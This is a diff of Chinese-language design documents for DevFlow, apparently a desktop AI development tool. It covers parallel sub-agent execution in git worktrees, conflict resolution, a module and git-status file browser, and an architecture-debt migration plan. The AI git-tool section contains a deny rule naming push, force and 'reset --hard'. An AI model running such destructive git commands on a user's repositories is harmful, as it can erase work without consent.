||||
│ ✅ 执行完成 ⚠ 2 处冲突待处理 │
|
||||
├─────────────────────────────────────────┤
|
||||
│ 合并输出: │
|
||||
│ ... │
|
||||
├─────────────────────────────────────────┤
|
||||
│ ⚠ main.rs — Agent A vs Agent B │
|
||||
│ [查看 diff] [接受 A] [接受 B] [手动] │
|
||||
│ ⚠ utils.rs — Agent A vs Agent B │
|
||||
│ [查看 diff] [接受 A] [接受 B] [手动] │
|
||||
└─────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
- 冲突用**徽章**提示,不打断阅读流
|
||||
- 点击展开 diff 对比 + resolution 按钮
|
||||
- reviewer Agent 可自动给出推荐(`resolved_by=reviewer`),用户确认即可
|
||||
|
||||
---
|
||||
|
||||
## 六、取消与中断
|
||||
|
||||
| 操作 | 行为 |
|
||||
|------|------|
|
||||
| 用户点停止 | 停止所有并行 SubTask(整体取消) |
|
||||
| 单 SubTask 超时 | 只标记该 SubTask error,不影响其他 |
|
||||
| 会话切换 | 后台 SubTask 继续执行(F-09 并发语义一致) |
|
||||
| 会话删除 | 所有关联 SubTask 停止 + Plan 标记 error |
|
||||
|
||||
---
|
||||
|
||||
## 七、实施分批
|
||||
|
||||
### 数据层 + Git worktree 隔离 + 并行执行
|
||||
|
||||
| # | 任务 | 文件 |
|
||||
|---|------|------|
|
||||
| 1 | V36 迁移(3 新表 + 2 ALTER + subtasks.branch + conflicts.conflict_type) | migrations.rs |
|
||||
| 2 | PlanRepo / SubTaskRepo / ConflictRepo CRUD | 新 repo 文件 |
|
||||
| 3 | Git worktree 生命周期管理(create/commit/merge/remove) | 新 git_worktree.rs |
|
||||
| 4 | Coordinator.dispatch JoinSet 层内并行(每 SubTask 绑 worktree) | coordinator.rs |
|
||||
| 5 | Token 预算池(AtomicU64 CAS,超限降级串行) | coordinator.rs |
|
||||
| 6 | 子 Agent 独立 ContextManager + fork 快照 + worktree_path | coordinator.rs |
|
||||
| 7 | 层间 merge 到 plan 分支 + 下一层基于 plan 创建 worktree | coordinator.rs |
|
||||
| 8 | 4 个新事件 + 事件双写(emit + publish_event) | AiChatEvent |
|
||||
| 9 | 前端类型定义(PlanRecord/SubTaskRecord/ConflictRecord) | api/types.ts |
|
||||
| 10 | PlanProgress 接入真实状态 + 发送即展示 | PlanProgress.vue |
|
||||
| 11 | 工具卡按 subtask_id 折叠分组 + persona 徽章 | MessageList.vue |
|
||||
| 12 | 编译警告清理(coordinator_plan unused / audit 子模块 unused imports) | 各文件 |
|
||||
|
||||
### 仲裁合并 + 冲突 UI + 编译检查
|
||||
|
||||
| # | 任务 | 文件 |
|
||||
|---|------|------|
|
||||
| 1 | Coordinator.merge: git merge-tree 三方合并预检 | coordinator.rs + git_worktree.rs |
|
||||
| 2 | 冲突检测:同文件路径(file 类型) + 编译失败(semantic 类型) | coordinator.rs |
|
||||
| 3 | Reviewer Agent 仲裁(persona 扩展:读 diff → 推荐 resolution + 理由) | persona.rs |
|
||||
| 4 | 合并产出落回主对话(方案 C:可展开单条) | coordinator.rs + MessageList.vue |
|
||||
| 5 | ConflictResolver.vue(git diff 展示 + resolution 按钮) | 新组件 |
|
||||
| 6 | resolve_conflict IPC + AiConflictResolved 事件闭环 | AiChatEvent |
|
||||
| 7 | 命令互斥锁(run_command 对同目录 npm/cargo 加 mutex) | audit/approval.rs |
|
||||
| 8 | agentic/mod.rs 拆分(2222 行 → 提取 compress/title/knowledge_inject 独立模块) | agentic/*.rs |
|
||||
| 9 | AiChat 进度条补全(后端 AiAgentRound 补 max_rounds + 前端 completed 计数) | AiChat.vue |
|
||||
| 10 | context.rs 拆分(1956 行 → 提取 sanitize/budget/compress 独立模块) | context/*.rs |
|
||||
|
||||
---
|
||||
|
||||
## 八、子 Agent 上下文隔离
|
||||
|
||||
### 8.1 双重隔离:上下文 + 文件系统
|
||||
|
||||
多 Agent 并行执行时需要两层隔离:
|
||||
|
||||
| 层 | 隔离对象 | 机制 |
|
||||
|---|---------|------|
|
||||
| 上下文隔离 | messages / currentText / tool_results / pending_approvals | 独立 ContextManager 实例 |
|
||||
| 文件隔离 | 工程文件(worktree 内的源码) | Git worktree(见 §4.2) |
|
||||
|
||||
### 8.2 上下文隔离
|
||||
|
||||
```rust
|
||||
struct SubTaskContext {
|
||||
/// 从主对话 fork 的快照(只读父上下文 + 用户原始消息)
|
||||
parent_snapshot: Vec<ChatMessage>,
|
||||
/// 独立的 ContextManager(不写回主对话)
|
||||
messages: ContextManager,
|
||||
/// 分配的人设
|
||||
persona: AgentPersona,
|
||||
/// 子任务 id(产出消息标记 subtask_id)
|
||||
subtask_id: String,
|
||||
/// Git worktree 路径(工具操作的工作目录,见 §4.2)
|
||||
worktree_path: Option<PathBuf>, // None = 非 Git 工程降级串行
|
||||
}
|
||||
```
|
||||
|
||||
**隔离规则**:
|
||||
|
||||
| 维度 | 主对话 | 子 Agent |
|
||||
|------|--------|----------|
|
||||
| messages | 用户消息 + 合并产出 | fork 快照 + 独立执行轨迹 |
|
||||
| ContextManager | 主对话的 | 每个 SubTask 独立实例 |
|
||||
| pending_approvals | 主对话的 | 各 SubTask 独立(无并发写竞争) |
|
||||
| tool_results | 写入子 Agent 的 messages | 合并时提取摘要写入主对话 |
|
||||
| **文件系统** | 主工程目录 | **Git worktree 隔离**(§4.2) |
|
||||
| **工作目录** | 主工程路径 | **worktree_path**(工具的 cwd 重定向到此) |
|
||||
|
||||
### 8.3 合并产出落回主对话(方案 C:可展开单条)
|
||||
|
||||
```
|
||||
SubTask 完成 → ExecutionResult { output, success }
|
||||
↓
|
||||
Coordinator.merge(results) → MergeResult { merged_output, conflicts }
|
||||
↓
|
||||
主对话 push 单条可展开 assistant 消息
|
||||
```
|
||||
|
||||
**展示策略**:
|
||||
- **默认折叠**:主对话只展示一条 assistant 消息(merged_output 摘要)
|
||||
- **点击展开**:展开后按 SubTask 分组,每组显示完整执行轨迹(从 ai_messages WHERE subtask_id=? 拉取)
|
||||
- **冲突内联**:合并消息底部内联冲突列表(点击展开 diff + resolution 按钮)
|
||||
- **子 Agent 执行轨迹不堆入主对话流**:只在 ai_messages 表保留(带 subtask_id),展开时按需加载
|
||||
|
||||
---
|
||||
|
||||
## 九、前端类型定义
|
||||
|
||||
```typescript
|
||||
// api/types.ts 新增
|
||||
|
||||
/** Plan 执行状态 */
|
||||
export type PlanStatus = 'planning' | 'executing' | 'merging' | 'done' | 'error'
|
||||
|
||||
/** SubTask 执行状态 */
|
||||
export type SubTaskStatus = 'pending' | 'running' | 'done' | 'error'
|
||||
|
||||
/** 冲突解决状态 */
|
||||
export type ConflictResolution = 'pending' | 'a' | 'b' | 'merged' | 'manual'
|
||||
|
||||
/** Plan 记录 */
|
||||
export interface PlanRecord {
|
||||
id: string
|
||||
conversation_id: ConvId
|
||||
user_message_id: MessageId
|
||||
status: PlanStatus
|
||||
subtask_count: number
|
||||
created_at: string
|
||||
completed_at: string | null
|
||||
}
|
||||
|
||||
/** SubTask 记录 */
|
||||
export interface SubTaskRecord {
|
||||
id: string
|
||||
plan_id: string
|
||||
persona_id: string
|
||||
intent: string
|
||||
status: SubTaskStatus
|
||||
layer: number
|
||||
deps: string[] // JSON 解析后的数组
|
||||
/** Git worktree 分支名(NULL=非 Git 工程降级串行) */
|
||||
branch: string | null
|
||||
created_at: string
|
||||
completed_at: string | null
|
||||
}
|
||||
|
||||
/** 冲突类型 */
|
||||
export type ConflictType = 'file' | 'semantic'
|
||||
|
||||
/** 冲突记录 */
|
||||
export interface ConflictRecord {
|
||||
id: string
|
||||
plan_id: string
|
||||
/** 冲突文件路径(semantic 类型时为触发编译失败的入口文件) */
|
||||
file_path: string
|
||||
/** 冲突类型:file=同文件路径 / semantic=编译失败 */
|
||||
conflict_type: ConflictType
|
||||
subtask_a: string
|
||||
subtask_b: string
|
||||
/** git diff 输出(A 的改动) */
|
||||
diff_a: string
|
||||
/** git diff 输出(B 的改动) */
|
||||
diff_b: string
|
||||
resolution: ConflictResolution
|
||||
resolved_by: 'reviewer' | 'user' | null
|
||||
created_at: string
|
||||
resolved_at: string | null
|
||||
}
|
||||
|
||||
/** PlanProgress 展示用 DAG 层结构 */
|
||||
export interface PlanLayer {
|
||||
items: Array<{
|
||||
id: string
|
||||
persona: string
|
||||
intent: string
|
||||
status: SubTaskStatus
|
||||
}>
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 十、状态机
|
||||
|
||||
### 10.1 Plan 状态流转
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> planning: Coordinator.decompose()
|
||||
planning --> executing: Plan 写入 DB + emit AiPlanCreated
|
||||
executing --> merging: 所有 SubTask done/error
|
||||
merging --> done: merge 完成 + 无冲突
|
||||
merging --> done: 所有冲突已解决
|
||||
merging --> error: merge 失败
|
||||
executing --> error: 全部 SubTask 失败
|
||||
done --> [*]
|
||||
error --> [*]
|
||||
```
|
||||
|
||||
### 10.2 SubTask 状态流转
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> pending: Plan.decompose 创建
|
||||
pending --> running: dispatch 分配 + JoinSet 启动
|
||||
running --> done: agentic loop 收敛(无 tool_calls)
|
||||
running --> error: 超时 / 全部工具失败
|
||||
done --> [*]
|
||||
error --> [*]
|
||||
```
|
||||
|
||||
### 10.3 Conflict 状态流转
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> pending: merge 检测到冲突
|
||||
pending --> resolved: reviewer 推荐 + 用户确认
|
||||
pending --> resolved: 用户手动选择 a/b/merged
|
||||
resolved --> [*]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 十一、事件总线集成
|
||||
|
||||
4 个新事件均走现有双写机制(`app_handle.emit` + `ai_event_bus.publish_event`),
|
||||
与 AiToolCallStarted/AiCompleted 等关键状态变更事件一致:
|
||||
|
||||
```rust
|
||||
let ev = AiChatEvent::AiPlanCreated { ... };
|
||||
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
||||
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(ev);
|
||||
```
|
||||
|
||||
- `emit`:桌面端前端监听
|
||||
- `publish_event`:tunnel subscriber 透传小程序
|
||||
|
||||
---
|
||||
|
||||
## 十二、不做的方向
|
||||
|
||||
| 方向 | 放弃理由 | 可能的时机 |
|
||||
|------|---------|-----------|
|
||||
| 工具级并行(同轮多 tool_call JoinSet) | 并发写 pending_approvals + LLM 对乱序 tool_result 行为不可预测 | 永不(LLM 已能单轮多 tool_call) |
|
||||
| 单 SubTask 取消 | MVP 简化,整体取消即可 | P1 以后按需 |
|
||||
| 双栏 diff 对比 UI | 违背 AI Native 定位(让用户做 AI 该做的合并) | 永不(reviewer Agent 仲裁替代) |
|
||||
| SubTask 级审批门控 | 审批在工具级(RiskLevel)已足够 | P2 审批政策配置 |
|
||||
@@ -3,7 +3,7 @@
|
||||
> **真相源**(本文档唯一展开完整设计)。功能决策记录仅放摘要 + 指针。
|
||||
>
|
||||
> 背景:R-PD-1(全局代码 review 2026-06-15 §🔴 P1 需设计)— 编辑 provider 提交空 `api_key` 时,无条件把 DB `api_key` 置空走 `INSERT OR REPLACE`,**未迁移态** provider 的明文密钥被静默覆盖成空 → keyring 也空 → resolve 返空 → provider 报废,密钥永久丢失。
|
||||
> 状态:📐 **设计完成,未实施** | 创建:2026-06-15 | 来源:全局代码 review 2026-06-15
|
||||
> 状态:✅ **已落地**(2026-06-28 核验:provider.rs:104-136 即时迁移补密钥 + 阻断保存 + secret.rs 启动迁移) | 创建:2026-06-15 | 来源:全局代码 review 2026-06-15
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
> 来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2
|
||||
> 日期:2026-06-15
|
||||
> 状态:设计待核对(推荐方案已定,落地前需用户确认力度)
|
||||
> 状态:✅ 已落地(2026-06-28 核验:ScriptNode 命令执行安全边界 — env 白名单/黑名单 + 危险关键词告警,script_node.rs:40-155)
|
||||
|
||||
---
|
||||
|
||||
|
||||
224
docs/02-架构设计/专项设计/工程系统设计-2026-06-29.md
Normal file
224
docs/02-架构设计/专项设计/工程系统设计-2026-06-29.md
Normal file
@@ -0,0 +1,224 @@
|
||||
# 工程系统设计 — 项目多工程 + Git 状态 + 文件浏览
|
||||
|
||||
> 创建: 2026-06-29 | 状态: ✅ Batch 9-13 已落地(工程表+文件浏览器+Git 状态/变更/提交历史)
|
||||
> 关联: [项目知识图谱与任务队列系统-2026-06-26.md](./项目知识图谱与任务队列系统-2026-06-26.md) / ARCHITECTURE.md
|
||||
|
||||
---
|
||||
|
||||
## 一、背景
|
||||
|
||||
DevFlow 的项目(Project)当前只能绑定一个目录(projects.path)。现实中的项目经常包含多个工程(Module):Monorepo 多仓库、微服务多服务、前后端分离等。每个工程是独立的代码仓库(各自的 .git),有自己的 Git 远程地址和技术栈。
|
||||
|
||||
引入工程(Module)概念,使 AI 和用户都能以工程为粒度操作代码仓库。
|
||||
|
||||
---
|
||||
|
||||
## 二、两级结构
|
||||
|
||||
```
|
||||
项目(Project) ← 业务实体("支付平台")
|
||||
├── 工程(Module) ← 代码仓库("后端 API" / "前端 Web")
|
||||
│ ├── 工程目录(path)
|
||||
│ ├── Git 地址(git_url)
|
||||
│ ├── 技术栈(stack)
|
||||
│ └── Git 状态(实时派生,不存表)
|
||||
├── 工程(Module)
|
||||
└── 工程(Module)
|
||||
```
|
||||
|
||||
单仓库项目 = 项目下只有一个工程(退化场景,UI 不显式展示工程层级)。
|
||||
|
||||
---
|
||||
|
||||
## 三、数据模型
|
||||
|
||||
### 3.1 project_modules 表(V34 迁移)
|
||||
|
||||
```sql
|
||||
CREATE TABLE project_modules (
|
||||
id TEXT PRIMARY KEY,
|
||||
project_id TEXT NOT NULL REFERENCES projects(id),
|
||||
name TEXT NOT NULL, -- "后端 API"
|
||||
path TEXT NOT NULL, -- 工程目录(绝对路径)
|
||||
git_url TEXT, -- Git 远程地址(可选)
|
||||
stack TEXT, -- 技术栈 JSON(["rust","tokio","postgresql"])
|
||||
auto_detected BOOLEAN NOT NULL DEFAULT FALSE, -- 自动探测创建(重新探测时覆盖,用户编辑后不回写)
|
||||
sort_order INTEGER NOT NULL DEFAULT 0,
|
||||
created_at TEXT NOT NULL,
|
||||
updated_at TEXT NOT NULL
|
||||
);
|
||||
|
||||
CREATE INDEX idx_project_modules_project ON project_modules(project_id);
|
||||
```
|
||||
|
||||
### 3.2 设计原则
|
||||
|
||||
| 字段 | 来源 | 说明 |
|
||||
|---|---|---|
|
||||
| name | 用户/探测 | 工程名称 |
|
||||
| path | 用户 | 工程目录(必填,等于 .git 所在目录) |
|
||||
| git_url | 用户 | Git 远程地址(可选,单机可不填) |
|
||||
| stack | 探测+用户可改 | 技术栈 JSON(探测 Cargo.toml/package.json 填充默认,用户可覆盖) |
|
||||
| auto_detected | 系统 | true=自动探测创建;重新探测时只覆盖 auto_detected=true 的行 |
|
||||
| sort_order | 系统 | 列表排序 |
|
||||
|
||||
**Git 状态实时派生(不存表)**:分支/改动文件/最近提交 → 查询时跑 git 命令返回。
|
||||
|
||||
---
|
||||
|
||||
## 四、Git 状态查询
|
||||
|
||||
### 4.1 get_module_git_status(module_id) 返回结构
|
||||
|
||||
```json
|
||||
{
|
||||
"branch": "main",
|
||||
"remote": "origin",
|
||||
"changes": {
|
||||
"modified": 3,
|
||||
"added": 1,
|
||||
"untracked": 2,
|
||||
"total": 6
|
||||
},
|
||||
"files": [
|
||||
{ "path": "src/main.rs", "status": "M" },
|
||||
{ "path": "Cargo.toml", "status": "M" },
|
||||
{ "path": "README.md", "status": "??" }
|
||||
],
|
||||
"last_commit": {
|
||||
"hash": "abc1234",
|
||||
"message": "feat: add login",
|
||||
"author": "lxy",
|
||||
"date": "2026-06-29T10:00:00"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4.2 实现方式
|
||||
|
||||
在工程目录(module.path)执行:
|
||||
- `git branch --show-current` → 当前分支
|
||||
- `git remote get-url origin` → 远程地址(与 module.git_url 互补)
|
||||
- `git status --porcelain` → 改动文件列表(解析为结构化)
|
||||
- `git log -1 --format=...` → 最近提交
|
||||
|
||||
所有 git 命令包 10s timeout。无 .git 目录返回空状态。
|
||||
|
||||
---
|
||||
|
||||
## 五、文件浏览器(IPC + UI)
|
||||
|
||||
### 5.1 get_module_file_tree IPC
|
||||
|
||||
```rust
|
||||
get_module_file_tree(module_id, sub_path?, depth?) → FileTreeResponse
|
||||
```
|
||||
|
||||
返回文件列表 + Git 状态合并(一次查询)。文件树懒加载:默认展开 2 层,点击展开加载子目录。
|
||||
|
||||
噪音过滤:跳过 node_modules / target / .git / __pycache__ / dist / .vite。
|
||||
|
||||
### 5.2 UI 结构(当前)
|
||||
|
||||
```
|
||||
项目详情页 → 文件 Tab
|
||||
┌─────────────────────────┬──────────────────────────────────────┐
|
||||
│ [📁] [📝 3] 视图切换 │ 文件内容预览 │
|
||||
│ ─────────────────────── │ │
|
||||
│ 📁 文件树/变更列表 │ 行号 │ 代码(语法高亮 + 行号) │
|
||||
│ src/ │ 1 │ use std::...; │
|
||||
│ main.rs M │ 2 │ fn main() { │
|
||||
│ config.rs │ 3 │ println!("hello"); │
|
||||
│ tests/ │ 4 │ } │
|
||||
│ Cargo.toml A │ │
|
||||
│ │ main.rs · 2.1 KB · 📝 查看变更 │
|
||||
└─────────────────────────┴──────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**视图切换**: 左侧栏顶部两个图标按钮:
|
||||
- 📁 文件树视图(默认)
|
||||
- 📝 变更视图(带变更数量角标)
|
||||
|
||||
**变更视图**:
|
||||
- 变更文件列表(按状态分组:已修改/已新增/已删除/未跟踪)
|
||||
- 文件按目录深度缩进(src/components/Foo.vue → 缩进 2 层)
|
||||
- 点击文件 → 右侧预览区显示 git diff(红删绿增)
|
||||
- 顶部 Tab 切换至"历史":展示提交历史(每条显示 hash+主题+时间)
|
||||
- 初始 50 条,支持"加载更多"分页
|
||||
- 点击提交行 → 展开该提交的变更文件列表
|
||||
- 点击变更文件 → 展示该文件的 diff
|
||||
|
||||
**内容预览增强**:
|
||||
- 行号列 + highlight.js 语法高亮(按文件后缀自动选语言)
|
||||
- 按后缀彩色图标(rs/ts/js/vue/css/html/json/md/sh/sql 等)
|
||||
- Diff 切换按钮(Git 状态不为空时在头部右侧显示 📝)
|
||||
- 滚动条在预览区域内部,不溢出页面层
|
||||
|
||||
### 5.3 单工程退化
|
||||
|
||||
项目只有 1 个工程时不显工程选择器,直接展示文件浏览器。
|
||||
|
||||
---
|
||||
|
||||
## 六、创建项目适配
|
||||
|
||||
create_project 时自动建一个工程:
|
||||
- name = 项目名
|
||||
- path = 绑定目录
|
||||
- stack = 探测结果(复用现有 detect_stack)
|
||||
- git_url = 探测(git remote get-url origin,失败为 None)
|
||||
- auto_detected = true
|
||||
|
||||
用户后续可添加更多工程(多工程场景)。
|
||||
|
||||
---
|
||||
|
||||
## 七、AI 工具
|
||||
|
||||
### 7.1 只读工具(Batch 9 随数据层一起注册)
|
||||
|
||||
| 工具 | 功能 | 风险 |
|
||||
|---|---|---|
|
||||
| list_project_modules | 列出项目工程列表 | Low |
|
||||
| get_module_git_status | 查询工程 Git 状态 | Low |
|
||||
|
||||
### 7.2 Git 工具(后续批次)
|
||||
|
||||
| 工具 | 功能 | 风险 |
|
||||
|---|---|---|
|
||||
| git_status | 工作区状态(结构化) | Low |
|
||||
| git_diff | 未提交改动详情 | Low |
|
||||
| git_log | 提交历史 | Low |
|
||||
| git_commit | 提交改动 | Medium |
|
||||
| git_branch | 分支管理 | Medium |
|
||||
| git_merge | 合并分支 | High |
|
||||
|
||||
安全边界:禁止 push / force / reset --hard。
|
||||
|
||||
---
|
||||
|
||||
## 八、实施批次
|
||||
|
||||
| 批次 | 内容 |
|
||||
|---|---|
|
||||
| Batch 9 | 工程表 + CRUD IPC + Git 状态查询 + 创建项目适配 + AI 工具注册 |
|
||||
| Batch 10 | 文件浏览器 UI(工程选择 + 文件树 + Git 状态标记 + 内容预览) |
|
||||
| Batch 11 | Git 只读 AI 工具(status/diff/log) |
|
||||
| Batch 12 | Git 写 AI 工具(commit/branch/merge) |
|
||||
| Batch 13 | 文件浏览器增强(行号/图标/Diff/变更面板/窗口分离) |
|
||||
|
||||
### Batch 13 新增功能
|
||||
|
||||
| 功能 | 说明 |
|
||||
|---|---|
|
||||
| 行号显示 | 文件预览左侧显示行号列 |
|
||||
| 后缀图标 | rs/ts/js/vue/css/html 等 20+ 类型彩色 SVG 图标 |
|
||||
| Diff 视图 | 有 Git 变更的文件可切换内容/Diff 红绿视图 |
|
||||
| Git 变更面板 | 文件树侧栏可切换至变更视图,显示变更文件列表(按目录缩进分组) |
|
||||
| 提交历史分页 | 展示最近 50 条提交,支持加载更多(分页) |
|
||||
| 提交详情 | 点击提交行展开变更文件列表,点文件查看 Diff |
|
||||
| 提交时间显示 | 相对时间(刚刚/N分钟前)+超过30天显示具体日期 |
|
||||
| 窗口分离 | 文件浏览器可弹出独立 Tauri 窗口 |
|
||||
| 中文编码修复 | git 命令注入 LANG/LC_ALL UTF-8 环境变量 |
|
||||
| 多工程管理 UI | 工具栏添加工程按钮 + 弹窗表单(名称/路径/Git地址) |
|
||||
| 文件变更自动刷新 | write_file/patch_file 触发 df-data-changed 事件推送 |
|
||||
@@ -1,7 +1,7 @@
|
||||
# 条件表达式引擎设计(R-PD-3 / T-260614-11)
|
||||
|
||||
> 来源:全局代码 review `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 需设计 R-PD-3 + 架构洞察第 4 条
|
||||
> 性质:设计文档(供用户核对方案),不含实现
|
||||
> 性质:✅ **已落地**(2026-06-28 核验:ConditionEngine 手写求值器 + JSON Path/嵌套/数组索引/数值比较 + executor feature flag 集成 + 前端边条件编辑入口 + 中英文翻译)
|
||||
> 关联:todo `T-260614-11 条件表达式引擎升级`、R-P2-13(set_skipped/set_waiting 已删)
|
||||
|
||||
---
|
||||
|
||||
267
docs/02-架构设计/专项设计/架构债迁移设计-2026-06-29.md
Normal file
267
docs/02-架构设计/专项设计/架构债迁移设计-2026-06-29.md
Normal file
@@ -0,0 +1,267 @@
|
||||
# 架构债迁移设计方案(2026-06-29)
|
||||
|
||||
> 创建: 2026-06-29 | 状态: 设计草案
|
||||
> 关联: [全量走查报告-2026-06-28](../05-代码审查/全量走查报告-2026-06-28.md) §架构缺陷 #4/#6/#8 + SQLite 单连接 #14
|
||||
> 适用范围: 本次推进剩余项 #8/#15/#18/#19 的迁移路径设计
|
||||
|
||||
---
|
||||
|
||||
## 一、概览
|
||||
|
||||
走查报告识别出 4 项架构债,影响可维护性或扩展性。本设计为每项给出**目标架构 + 迁移路径 + 风险评估**,**不在本批次实施代码**(每项都需独立 PR + e2e 验证)。
|
||||
|
||||
| 编号 | 问题 | 风险 | 建议时机 |
|
||||
|------|------|------|---------|
|
||||
| #15 | AI 核心状态机焊死 src-tauri | 高(重构 agentic loop) | Phase 4 之前 |
|
||||
| #8 | IPC 错误拍平为 String | 中(前后端协议改造) | 下个迭代 |
|
||||
| #18 | 配置四源并存 | 中(跨 crate 改读) | 与 #15 协同 |
|
||||
| #19 | SQLite 单连接 Mutex | 中(DB 层基础) | 性能瓶颈出现时 |
|
||||
|
||||
---
|
||||
|
||||
## 二、#15 — AI 核心状态机抽离
|
||||
|
||||
### 现状
|
||||
|
||||
```
|
||||
src-tauri/src/commands/ai/
|
||||
├── mod.rs ← AiSession / PerConvState / AiChatEvent / SessionState(应属 df-ai)
|
||||
├── agentic/mod.rs ← run_agentic_loop 主循环(应属 df-ai)
|
||||
├── commands.rs ← IPC 层(应留在 src-tauri)
|
||||
├── tool_registry ← 工具注册(IPC 层依赖,留在 src-tauri)
|
||||
└── ...
|
||||
|
||||
crates/df-ai/src/
|
||||
├── provider.rs ← LlmProvider trait(正确)
|
||||
├── openai_compat.rs ← HTTP(正确)
|
||||
├── anthropic_compat.rs← HTTP(正确)
|
||||
├── coordinator.rs ← 空壳(应承担 agentic loop)
|
||||
└── ...
|
||||
```
|
||||
|
||||
### 目标架构
|
||||
|
||||
```
|
||||
crates/df-ai-session/ ← 新 crate(避免 df-ai 引 reqwest 同时引会话状态)
|
||||
├── session.rs ← AiSession / PerConvState / SessionState
|
||||
├── agentic_loop.rs ← run_agentic_loop(纯逻辑,依赖 LlmProvider trait)
|
||||
├── events.rs ← AiChatEvent enum
|
||||
└── approvals.rs ← PendingApproval / ApprovalKind
|
||||
|
||||
src-tauri/src/commands/ai/
|
||||
├── mod.rs ← 仅 IPC glue(invoke_handler 注册 + AppState 转发)
|
||||
├── commands.rs ← ai_send_message / ai_approve / ai_reject
|
||||
└── tool_registry.rs ← 工具注册(仍依赖 df-storage / df-types)
|
||||
```
|
||||
|
||||
### 迁移路径(4 阶段)
|
||||
|
||||
**阶段 1**:创建 `df-ai-session` crate,仅迁移类型定义(`AiSession` / `AiChatEvent` 等),不改逻辑。src-tauri 改为 re-export。
|
||||
|
||||
**阶段 2**:迁移 `run_agentic_loop` 函数体。保持现有调用方接口不变(`pub async fn run_agentic_loop(...)`),仅改归属。
|
||||
|
||||
**阶段 3**:把 tool_registry 中的工具注册逻辑拆分为「工具定义」(可迁移)和「工具 handler」(依赖 IPC 层,保留)。
|
||||
|
||||
**阶段 4**:src-tauri 仅保留 IPC glue,所有 AI 状态机测试可在 df-ai-session 独立运行。
|
||||
|
||||
### 风险
|
||||
|
||||
- **循环依赖**:`agentic_loop` 需要 LlmProvider(df-ai-core)+ AiToolRegistry。AiToolRegistry 的 handler 依赖 src-tauri 的 storage/commands。**解决**:把 AiToolRegistry trait 下沉到 df-ai-core,handler 实现留在 src-tauri。
|
||||
- **测试覆盖**:现有 AI 测试都在 src-tauri 集成测试,迁移后需补 df-ai-session 的单测。
|
||||
|
||||
---
|
||||
|
||||
## 三、#8 — IPC 错误结构化
|
||||
|
||||
### 现状
|
||||
|
||||
```rust
|
||||
// src-tauri/src/commands/mod.rs:26
|
||||
pub fn err_str<E: ToString>(e: E) -> String { e.to_string() }
|
||||
|
||||
// 所有 IPC 命令
|
||||
async fn xxx() -> Result<T, String> { ... .map_err(err_str) }
|
||||
```
|
||||
|
||||
df-types/error.rs 的 11 个变体(`NotFound`/`Validation`/`InvalidState { current, expected }`)在 IPC 边界全部 `.to_string()` 拍平。前端只能拿到字符串,无法分辨错误类型。
|
||||
|
||||
### 目标架构
|
||||
|
||||
```rust
|
||||
// df-types/src/error.rs 新增 Serialize
|
||||
#[derive(Debug, Serialize, Deserialize)]
|
||||
#[serde(tag = "kind", content = "data")]
|
||||
pub enum IpcError {
|
||||
NotFound { entity: String, id: String },
|
||||
Validation { field: String, reason: String },
|
||||
InvalidState { entity: String, current: String, expected: Vec<String> },
|
||||
Unauthorized { reason: String },
|
||||
Internal { message: String },
|
||||
}
|
||||
|
||||
// IPC 命令改为
|
||||
async fn xxx() -> Result<T, IpcError> { ... }
|
||||
```
|
||||
|
||||
Tauri invoke 自动 serialize 为 JSON:
|
||||
```json
|
||||
{ "kind": "invalid_state", "data": { "entity": "task", "current": "todo", "expected": ["in_progress"] } }
|
||||
```
|
||||
|
||||
### 前端消费
|
||||
|
||||
```ts
|
||||
// src/api/types.ts
|
||||
type IpcError =
|
||||
| { kind: 'not_found'; data: { entity: string; id: string } }
|
||||
| { kind: 'validation'; data: { field: string; reason: string } }
|
||||
| { kind: 'invalid_state'; data: { entity: string; current: string; expected: string[] } }
|
||||
| { kind: 'unauthorized'; data: { reason: string } }
|
||||
| { kind: 'internal'; data: { message: string } }
|
||||
|
||||
// 使用
|
||||
try { await invoke(...) }
|
||||
catch (e: unknown) {
|
||||
const err = e as IpcError
|
||||
if (err.kind === 'not_found') router.push('/projects')
|
||||
else if (err.kind === 'invalid_state') toast.warning(`当前 ${err.data.current},期望 ${err.data.expected.join(',')}`)
|
||||
}
|
||||
```
|
||||
|
||||
### 迁移路径
|
||||
|
||||
**阶段 1**:df-types 新增 `IpcError` enum + `From<df_types::error::Error> for IpcError`。
|
||||
|
||||
**阶段 2**:src-tauri IPC 命令逐个从 `Result<T, String>` 改为 `Result<T, IpcError>`。**保持向后兼容**:旧前端读 `err.message` 时降级为字符串(IpcError 实现 `Display` 输出 message)。
|
||||
|
||||
**阶段 3**:前端 api 层加 `IpcError` 类型 + 在关键 view(Projects/Tasks/Ideas)按 kind 分支处理。
|
||||
|
||||
**阶段 4**:删除 `err_str` 辅助函数。
|
||||
|
||||
### 风险
|
||||
|
||||
- **Tauri invoke 错误序列化**:Tauri 默认把 `Result::Err` 经 JSON 传前端,但前端 `invoke().catch()` 拿到的是 `string` 或 `object`?**需验证**:Tauri v2 对自定义 error 类型的序列化行为。
|
||||
- **向后兼容**:旧前端代码 `e?.toString()` 需仍工作。IpcError 的 Display 实现保证字符串友好。
|
||||
|
||||
---
|
||||
|
||||
## 四、#18 — 配置四源统一
|
||||
|
||||
### 现状(散落 env::var 读取)
|
||||
|
||||
| 读取点 | 用途 | 性质 |
|
||||
|--------|------|------|
|
||||
| `df-relay/src/main.rs:17` `DF_RELAY_ADDR` | relay 监听地址 | 启动配置 |
|
||||
| `df-relay/src/relay.rs:38` `DF_RELAY_TOKEN` | relay 鉴权 | 启动配置(panic 兜底) |
|
||||
| `df-nodes/src/script_node.rs:141,155` `DF_SCRIPT_BLACKLIST`/`WHITELIST` | 脚本策略 | 运行时读取 |
|
||||
| `df-nodes/src/ai_node.rs:389-398` `GLM_BASE_URL`/`GLM_API_KEY`/`GLM_MODEL` | AINode 兜底 provider | 运行时读取 |
|
||||
